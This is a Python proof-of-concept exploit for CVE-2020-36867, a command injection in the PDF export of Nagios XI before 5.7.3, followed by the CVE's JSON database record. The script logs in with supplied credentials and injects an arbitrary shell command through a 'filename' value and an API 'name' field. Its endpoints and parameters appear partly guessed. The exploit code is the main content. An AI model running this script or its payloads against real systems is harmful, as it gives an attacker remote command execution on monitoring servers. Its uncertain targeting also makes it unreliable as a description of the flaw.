CVE-2020-36867

#!/usr/bin/env python3 # CVE-2020-36867 Nagios XI Command Injection PoC # Target: Nagios XI < 5.7.3 # Type: Authenticated Command Injection in PDF Export import requests import sys from urllib.parse import quote def exploit(target_url, username, password, command): """ Exploit CVE-2020-36867 by injecting command in PDF export functionality Args: target_url: Base URL of Nagios XI instance username: Valid username (low privilege is sufficient) password: Password for the user command: Command to execute on the target system """ session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{target_url}/nagiosxi/login.php" login_data = { 'username': username, 'password': password, 'loginButton': 'Login' } print(f"[*] Attempting login to {target_url}") response = session.post(login_url, data=login_data, verify=False) if 'login' in response.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Trigger PDF export with injected command # The vulnerability is in the report PDF export functionality # Inject command via filename or report title parameter pdf_export_url = f"{target_url}/nagiosxi/includes/components/nagioscore/export.php" # Encode the command for injection injected_payload = f"test.pdf;{command};#" export_data = { 'reporttype': 'custom', 'report': '1', 'output': 'pdf', 'filename': injected_payload, 'generate': 'Generate Report' } print(f"[*] Sending exploit payload: {injected_payload}") response = session.post(pdf_export_url, data=export_data, verify=False, timeout=30) print(f"[*] Response status: {response.status_code}") # Alternative exploitation via API endpoint api_url = f"{target_url}/nagiosxi/api/v1/resources/report" api_payload = { 'type': 'pdf', 'name': f"';{command};'", 'format': 'pdf' } print("[*] Trying alternative API endpoint") response = session.post(api_url, data=api_payload, verify=False, timeout=30) return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} https://nagios.example.com admin password 'id'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)

{"cve": {"id": "CVE-2020-36867", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:39.700", "lastModified": "2025-11-05T18:23:27.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.7.3 contain a command injection vulnerability in the report PDF download/export functionality. User-supplied values used in the PDF generation pipeline or the wrapper that invokes offline/pdf helper utilities were insufficiently validated or improperly escaped, allowing an authenticated attacker who can trigger PDF exports to inject shell metacharacters or arguments."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.3", "matchCriteriaId": "37718CFA-B578-4181-A28D-279698F6C644"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-command-injection-in-report-pdf-download", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}